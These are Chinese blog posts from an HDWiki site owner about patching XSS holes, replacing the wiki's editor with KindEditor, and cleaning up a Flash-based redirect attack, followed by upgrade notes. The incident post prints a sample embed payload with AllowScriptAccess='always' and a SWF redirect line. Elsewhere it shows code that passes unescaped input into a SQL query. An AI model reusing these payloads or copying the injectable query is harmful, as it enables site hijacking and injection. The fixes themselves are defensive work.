HDWiki4.0.5标签Tags过滤危险网页代码修复办法

环境:HDWiki4.0.5
描述:标签中的内容在被服务端“处理”时候没有被严格过滤(有一层关键字过滤),不过内容在发送到服务器前被客户端的js处理过,原版编辑器模板并没有正常使用上的问题。

前几天为HDWiki换个编辑器问题就出来了,由于偶的编辑器页面没有js处理,导致发送到服务器的Tags中的网页标签代码也被存储啦,然后查看词条页面的时候,就看到发送的网页代码效果了。

修复办法:打开control目录下的doc.php,找到
大概在178和315行

$doc[‘tags’]=$_ENV[‘doc’]->replace_danger_word($doc[‘tags’]);

修改为

$doc[‘tags’]=strip_tags($_ENV[‘doc’]->replace_danger_word($doc[‘tags’]));

即可。
同时建议把标题Title也进行同样的“过滤”(不过代码在Title里是没有太大危险性的,因为Title已经在服务端进行了转换处理)!

最后感谢“风吹过的夏天”同学的问题纠结和热心帮助。。

附注:PHP strip_tags函数说明
strip_tags() 函数剥去 HTML、XML 以及 PHP 的标签。

strip_tags(string,allow)
参数 描述
string 必需。规定要检查的字符串。
allow 可选。规定允许的标签。这些标签不会被删除。

注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

参考:PHP strip_tags() 函数

为Hdwiki4.0.5换个HTML编辑器!

昨天在hdwiki论坛看到有童鞋挖出hdwiki曾经使用过kindeditor编辑器,并且为hdwiki4.0.5成功更换强大的编辑器!可以来测试。。

模仿一下,我也在本地测试了下,还行 🙂 。

编辑页面模板是仿着词条页面模板来写的。

测试运行版本

hdwiki版本:4.0.5

kindeditor版本:3.3.1

editor.htm模板中嵌入编辑器的说明

<textarea id=”content” name=”content” style=”width:800px;height:300px;visibility:hidden;”>{$doc[‘content’]}</textarea>

<script type=”text/javascript” charset=”utf-8″ src=”js/kindeditor/kindeditor.js”></script>

<script type=”text/javascript”>KE.show({id : ‘content’});</script>

这里配置文件单独写在一个js中来完成配置

<script type=”text/javascript” src=”js/kindeditor/keconfig.js”></script>

在kindeditor.js中添加“目录按钮”和“内链按钮”的插件(plugin)

关于插件的添加可以查看官方的说明文档

首先在kindeditor.js的以下位置

KE.lang = {

添加按钮对应的说明文字

innerlink : “内部链接”,

section : “目录”

然后在最后添加按钮对应的代码:

KE.plugin[‘section’] = {

click : function(id) {

KE.util.select(id);

KE.util.selection(id);

if (KE.browser == ‘IE’) {

var text=KE.g[id].range.text;

} else {

var text=KE.g[id].range.toString();

}

KE.util.insertHtml(id, ‘<div >’+text+'</div>’);

KE.util.focus(id);

}

};

KE.plugin[‘innerlink’] = {

click : function(id) {

KE.util.selection(id);

if (KE.browser == ‘IE’) {

var value=KE.g[id].range.text;

} else {

var value=KE.g[id].range.toString();

}

KE.util.insertHtml(id, ‘<a title=”‘+value+'” href=”index.php?doc-innerlink-‘+encodeURI(value)+'”>’+value+'</a>’);

KE.util.focus(id);

}

};

为“插件”添加图标和定义内链在编辑器中的样式

.hdwiki_tmml {

float: left;

height: 14px;

font-size: 18px;

color: #333333;

font-weight: bold;

padding: 4px;

width: 95%;

margin-left: 5px;

border-bottom-width: 1px;

border-bottom-style: solid;

border-bottom-color: #BFBFBF;

}

.ke-icon-innerlink {

background-image: url(button_link.png);

width: 23px;

height: 20px;

}

.ke-icon-section{

background-image: url(button_headline.png);

width: 23px;

height: 20px;

}

修改好的已经打包可下载使用

下载地址(可自行补全):/sa/kindeditor_for_hdwiki405.zip

Google code地址:http://luoyanglife.googlecode.com/files/kindeditor_for_hdwiki405_full.1.0.zip

补丁包说明

1、首先到kindeditor官方网站下载原版编辑器压缩包。http://www.kindsoft.net/down.php

2、解压原版编辑器(我下的是kindeditor-3.3.1)。

3、复制一份编辑器文件到网站js目录下比如(js\kindeditor)。

4、测试是否正确放置编辑器文件(http://hdwiki域名/js/kindeditor/examples/),测试完之后可以把examples目录删掉。

5、解压针对hdwiki4.0.5版本修改的补丁包。

6、可直接覆盖,也可以一个个覆盖

7、添加自己的广告到editor.htm中的右侧空区

补丁包对应的文件列表:

├─js

│  └─kindeditor

│      │  keconfig.js

│      │  kindeditor.js

│      │

│      └─skins

│              button_headline.png

│              button_link.png

│              default.css

└─view

└─default

editor.htm

editor.htm为重新编写的hdwiki4.05编辑器模板

keconfig.js为HTML编辑器kindeditor的自定义配置文件

button_headline.png和button_link.png分别为目录图标和内链图标(取自Mediawiki)

default.css为修改过的样式

default.css与kindeditor.js中修改过的地方都用注释做过标记/*add by clin003 */

补充:按照类似的办法可成功更换为ckeditor_3.0编辑器,内链按钮和目录还未测试。

20091008更新补充2:今天对keconfig.js配置文件中加入设置开启过滤功能同时可以选择保留的HTML标记和属性,也就是两个属性参数:

filterMode:’true’,

htmlTags : {
font : [‘color’, ‘size’, ‘face’, ‘.background-color’],
span : [
‘.color’, ‘.background-color’, ‘.font-size’, ‘.font-family’,
‘.font-weight’, ‘.font-style’, ‘.text-decoration’, ‘.vertical-align’
],
div : [
‘class’, ‘align’, ‘.border’, ‘.margin’, ‘.padding’, ‘.text-align’, ‘.color’,
‘.background-color’, ‘.font-size’, ‘.font-family’, ‘.font-weight’,
‘.font-style’, ‘.text-decoration’, ‘.vertical-align’, ‘.margin-left’
],
table: [
‘class’, ‘border’, ‘cellspacing’, ‘cellpadding’, ‘width’, ‘height’, ‘align’,
‘.padding’, ‘.margin’, ‘.border’, ‘bgcolor’, ‘.text-align’, ‘.color’, ‘.background-color’,
‘.font-size’, ‘.font-family’, ‘.font-weight’, ‘.font-style’, ‘.text-decoration’
],
‘td,th’: [
‘class’, ‘align’, ‘valign’, ‘width’, ‘height’, ‘colspan’, ‘rowspan’, ‘bgcolor’,
‘.text-align’, ‘.color’, ‘.background-color’, ‘.font-size’, ‘.font-family’, ‘.font-weight’,
‘.font-style’, ‘.text-decoration’, ‘.vertical-align’
],
a : [‘class’, ‘href’, ‘target’, ‘name’],
embed : [‘src’, ‘width’, ‘height’, ‘type’, ‘loop’, ‘autostart’, ‘quality’, ‘.width’, ‘.height’, ‘align’, ‘allownetworking’, ‘/’],
img : [‘src’, ‘width’, ‘height’, ‘border’, ‘alt’, ‘title’, ‘.width’, ‘.height’, ‘/’],
hr : [‘class’, ‘/’],
br : [‘/’],
‘p,ol,ul,li,blockquote,h1,h2,h3,h4,h5,h6’ : [
‘align’, ‘.text-align’, ‘.color’, ‘.background-color’, ‘.font-size’, ‘.font-family’,
‘.font-weight’, ‘.font-style’, ‘.text-decoration’, ‘.vertical-align’, ‘.text-indent’, ‘.margin-left’
],
‘tbody,tr,strong,b,sub,sup,em,i,u,strike’ : []
}

对kindeditor.js中的插入flash默认大小进行调整,同时过滤掉AllowScriptAccess 参数(不设置AllowScriptAccess的值默认为“sameDomain”属于安全设置),插入的时候添加allowNetworking 参数,可以查看详细的 安全引用Flash视频,allownetworking=”internal” 参数的应用 介绍。

另外本地图片的上传路径需要自行在编辑器目录php下的upload.php中进行设置,参考设置办法(按照日期进行保存,可自行修改设置):

//文件保存目录路径
$save_path = ‘./../../../uploads/ke/’ . date(“Ymd”) .’/’;
//文件保存目录URL
$save_url = ‘http://luoyanglife.com/baike/uploads/ke/’.date(“Ymd”) .’/’;

当然这些仅仅在js端做的过滤是可以被绕过去的。。安全的做法是在服务端对接收的数据做过滤。

20091008补充说明:修正IE下在不使用其他按钮的前提下,目录按钮不起作用

对HDWiki网站进行FLASH恶意代码加载与修复办法[HDWiki跨站漏洞]

今天下午在“百科”里发现异常情况:点开一个词条后,刚刚看到内容,就跳转到一个电影网站(要真是个电影网站还好点,可看到的是三个弹出网页,然后就广告广告,连那个最大的很像播放器的东东也是个广告,人渣啊)啦!郁闷的还以为是浏览器出问题啦,后退后退还是不行,看看链接也没有错啊,怀疑是不是域名被劫持啦,于是ping,对啊,换个浏览器打开域名首页,正确!
一个念头就是词条内容有问题,HD一直有个问题就是词条名字太长会被错误的截断,导致网页源码乱码(应该是编码字节处理没搞好),只有IE下会是乱码,一个一个点刚才的词条,有一次跳转发生啦,囧。

实施对HDWIKI百科网站的FLASH挂马欺骗(任何一个人点进词条自动跳转到目标网站)

只好把那个网页用迅雷下回来,看源码,没有太大异常,只有一个,发现”embed”半闭合标签,里边的Swf打开后跳转到目标网站,疑团解开啦,找办法修复。

怎样过滤词条添加过程中的SWF文件?发现使用正常的添加媒体按钮添加的SWF文件并没有任何问题(不会跳转)。

使用源码直接添加写好的SWF嵌入代码:

<embed type=”application/x-shockwave-flash”  src=”http://clin003.com/sa/1.swf” AllowScriptAccess=”always” />

对HDWIKI编辑器进行修复

跳转,囧,看来从编辑器里把插入SWF时附带的代码修改并不会起作用,对过滤语句的标签中添加“embed”,是不起作用的(HDwiki 4.0.3的编辑器),可能我写的有问题。

于是就取个最捷径的办法,把切换到源码模式的按钮事件所使用的函数语句注释掉!!

文件为“js”目录,“editor”文件夹下的“editor.js”(注释掉函数内容暂时解决)
hdwiki4.03的大概在1681行到1698行
hdwiki4.04的大概在965到973行

隐患
虽然从编辑器功能上进行啦防范,但仍然有可能利用(因为这段代码没有被过滤,可以直接发送制作好的数据包进行POST)

附注:
swf的跳转动作代码很简单

if(1){geturl(“http://clin003.com/”,”_self”);}

只要这样就可以啦,测试页面:http://clin003.com/sa/index.html (建议保存到不同的域名下试试效果)。

HdWiki跨站漏洞暂时修复办法[20090505]

目前只是发现搜索框,词条名称那里提交的内容没有被过滤,可导致跨站攻击,只是这样的攻击一般都比较容易发现,不是大站或者安全类的站的话,影响不是很大。
不过还是写下暂时修复办法:
打开“/control/search.php”
对提交的内容进行转义(HDwiki群Terry提供)

$searchtext=stripslashes($element['searchtype']==
"tag"?"TAG:".stripslashes($element['keyword']):
stripslashes($element['keyword']));
$this->view->assign('categorylist',$categorylist);
$this->view->assign("searchtext",htmlspecialchars($searchtext));
$this->view->assign("list",$list);
$this->view->assign('navtitle',$this->view->lang['search'].'-'.string::substring(htmlspecialchars((($element['keyword']))),0,20));

同样在doc.php中

$title=string::substring(string::stripscript($_ENV['doc']->
htmlspecialchars(replace_danger_word(trim($this->post['title'])))),0,80);

另外发现在默认输入“词条名”选择进入词条时,的title变量只是经过简单的去掉头尾空格,然后就给sql语句使用啦,只是HDwiki在使用的时候做啦特殊”调用“(下午去杀毒啦,到现在还没坐下来仔细研究..)

$title=trim($this->post['searchtext']);
...
$sql="select d.did,d.tag,d.title,d.author,d.authorid,d.time,d.summary from wiki_doc d where d.title LIKE '%$title%' order by d.time desc";

今日杂碎:升级HDWiki 4.0.4

杂碎1: ie6下页面显示还有偏向左边
这下在hdwiki版主页面小兵的帮助下,修正啦ie6下的错位问题(打开词条 靠近左边的字也是紧挨着左边显示 没有空白囧)
详见:http://kaiyuan.hudong.com/bbs/viewthread.php?tid=6305&extra=page%3D1

解决办法:
basic.css 第 89 行的
.net_adv { }
position:relative;
增加这个属性
hdwiki.css里边的 #nav_bot{width:290px;clear:right;text-align:right;}
把宽度由400px改成290px
在给footer-p加一个position:relative;吧(页面小兵建议 )

杂碎2:页内中间位置插入google 468px的广告位时 和目录错位(ie下重叠)
详细说明见上面hdwiki地址
解决办法:
可以修改base.css里边的
.viewdoc_adv{float:right;width:468px;display:block;overflow:hidden;}
把宽度由450修改为468

然后找到hdwiki.css里边的
#catalog{border:1px solid #9b9b9b; margin-left:10px;float:left;width:210px;}
增加一宽度属性值设为210px(PS:这个值在ie和firefox下都显示的刚刚好 )

杂碎3:频道添加后去不掉
删除提示成功啦 但是还能看到 更新缓存 前台还能看到
编辑频道 里边是空的 囧
详见:http://kaiyuan.hudong.com/bbs/viewthread.php?tid=6311&pid=27735&page=1&extra=#pid27735

解决办法:
将数据表wiki_channel删除,执行如下sql语句即可(请将”wiki_”替换为你的表前缀)


CREATE TABLE wiki_channel (
`id` smallint(6) unsigned NOT NULL auto_increment,
`name` char(50) NOT NULL default '',
url char(200) NOT NULL default '',
displayorder smallint(3) unsigned NOT NULL default '0',
`available` tinyint(1) NOT NULL default '1',
PRIMARY KEY (id)
) TYPE=MyISAM;

杂碎4:ucenter会员登陆同步失败问题及其原因
hdwiki(以下简称hd)登陆后,登陆信息通过ucenter自动同步到dz,并可以成功登陆dz7
dz7登陆后,登陆信息通过ucenter同步到hd,hd无法自动登录

详见:http://kaiyuan.hudong.com/bbs/viewthread.php?tid=6313&pid=27740&page=1&extra=#pid27740

临时解决办法:
/api/uc.php中
修改所有的”sid”(引号中的sid)为sessid
搜索 hd_ ,修改为 hd

今日杂碎:升级洛阳生活百科

杂碎1:升级hdwiki到4.0.3
有几点值得升级:
rss输出。

词条下方添加了常用的收藏链接。

对uc1.5和dz7.0的整合功能(貌似4.0.2本来就很正常的,这次更新还不清楚具体有哪些功能)。

词条的同义词功能,也就是官方说的“词条重定向功能”。

站内短信,感觉这个比较鸡肋,毕竟可以和ucenter整合啦,短消息就可以免啦吧或者也整合起来。

后台的统计功能,能方便地了解整个站点关于用户、积分、词条、分类等等最新情况,以方便站长根据数据对站点进行相应的改善。

期待hdwiki做的更出色ing,升级过程很顺利,完美!洛阳生活百科

杂碎2:很讨厌别人对偶大吼大叫
就算是我从你那领工资也不应该对偶大吼大叫吧,至少尊重是双向的,对偶来说

我只是做自己应该做的事,尽到在这个位置的责任,别的偶也不会去碰,若真是要得寸进尺,我也不会奉陪,走人了之!

按时睡觉,按时起床,按时吃饭,拒绝通宵xx。